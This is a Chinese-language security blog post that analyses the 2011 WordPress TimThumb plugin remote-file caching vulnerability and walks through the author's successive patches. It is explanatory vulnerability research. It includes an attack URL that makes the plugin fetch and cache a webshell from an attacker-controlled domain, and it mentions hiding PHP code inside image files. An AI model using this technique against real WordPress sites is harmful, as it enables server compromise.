注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

小猪太子--网易博客

关注网络安全,低调求发展。

 
 
 

日志

 
 
关于我

看起来没什么新鲜的,其貌不扬,个头一般,没獠牙,呼吸空气,肋下没逆鳞,吃的是碳水化合物,看构造变形的可能性也不大,人畜无害的家伙。

网易考拉推荐

WordPress TimThumb 插件漏洞关键点和几个有意思的地方  

2011-08-06 00:33:56|  分类: 漏洞播报 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

前几天国外暴了个WordPress TimThumb 插件的漏洞,这个插件很多WordPress主题都用了,包括国内某某付费主题,这里我就不多说了,以免小黑去搞人家BLOG。

http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php?spec=svn140&r=140

这个插件主要功能是缓存远程的图片到本地,其中一条缓存图片的分支存在漏洞,是通过CURL直接下载图片保存的。我们先从源代码看下漏洞的上下文,要走到有漏洞的缓存图片的分支,图片URL必须在下面的域名里。

$allowedSites = array (
'flickr.com',
'picasa.com',
'blogger.com',
'wordpress.com',
'img.youtube.com',
'upload.wikimedia.org',
'photobucket.com',
);

 

漏洞的关键所在是保存的文件名

$file_details = pathinfo ($src);
$filename = 'external_' . md5 ($src);
$local_filepath = DIRECTORY_CACHE . '/' . $filename . '.' . $file_details['extension'];
// $local_filepath是'external_md5 ($src)加$file_details['extension'];

如果$src是http://xxx.com/x.php  ,pathinfo 函数处理$src后就直接取了变量的.php后缀 .

那么缓存的文件名将是external_md5($src).php

 

最后黑客可以通过timthumb.php?src=http://wordpress.com.hacker.com/webshell.php来攻击。

 

下面看作者怎么补漏洞的,GOOGLE CODE的DIFF更直观:

1.http://code.google.com/p/timthumb/source/diff?spec=svn141&r=141&format=side&path=/trunk/timthumb.php

OK,作者发现存了带PHP后缀的图片

$file_infos = getimagesize ($local_filepath); //先用getimagesize函数看看文件格式是不是图片

 if (empty ($file_infos['mime']) || !preg_match ("/jpg|jpeg|gif|png/i", $mime_type))

 //用图片后缀正则匹匹看看$mime_type,联系程序上文可以知道

$mime_type = mime_type ($src);

mime_type函数就不看了,都是取文件格式决定后缀,最后如果不符合这个条件就删除文件。

看到这里大家基本上都会知道没用,二进制合并就可以把PHP代码藏在图片文件里,于是作者有了第二次升级。

 

2.http://code.google.com/p/timthumb/source/diff?spec=svn142&r=142&format=side&path=/trunk/timthumb.php

$filename = 'external_' . md5 ($src);  
$local_filepath = DIRECTORY_CACHE . ’/' . $filename;

//作者终于发现漏洞的根源了,将文件名彻底的改为external_' . md5 ($src);

 

3.http://code.google.com/p/timthumb/source/diff?spec=svn143&r=143&format=side&path=/trunk/timthumb.php

但是到这里就完了么?大家应该还知道一种漏洞吧,80sec发现的nginx cgi_script_name漏洞,所以作者开始考虑缓存图片来源的安全问题了。

$url_info['host'] 是通过parse_url函数取的

if (strpos (strtolower ($url_info['host'] . '/'), $site) !== false)

//作者开始严格匹配白名单URL,从URL的HOST加路径符开始搜索,而不再是简单的字符串搜索。

 

4.http://code.google.com/p/timthumb/source/diff?spec=svn144&r=144&format=side&path=/trunk/timthumb.php

作者用更优雅的方法来匹配URL的HOST

if (preg_match ('/(?:^|\.)' . $site . '$/i', $url_info['host']))

 

5. http://code.google.com/p/timthumb/source/diff?spec=svn145&r=145&format=side&path=/trunk/timthumb.php

作者发现 blogger.com,wordpress.com,photobucket.com三个白名单的来的图片不靠谱,于是去掉了这三个白名单。

 

6.http://code.google.com/p/timthumb/source/diff?spec=svn148&r=148&format=side&path=/trunk/timthumb.php

最后还有1个小插曲

touch (DIRECTORY_CACHE . '/index.php');

作者怕服务器给图片缓存目录给列目录,后来的黑客捡前面黑客留下的webshell的便宜,加了个index.php

 

……………………………………………………………………………………

文章转载自 RAyh4c的黑盒子 http://hi.baidu.com/rayh4c/home

  评论这张
 
阅读(1241)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018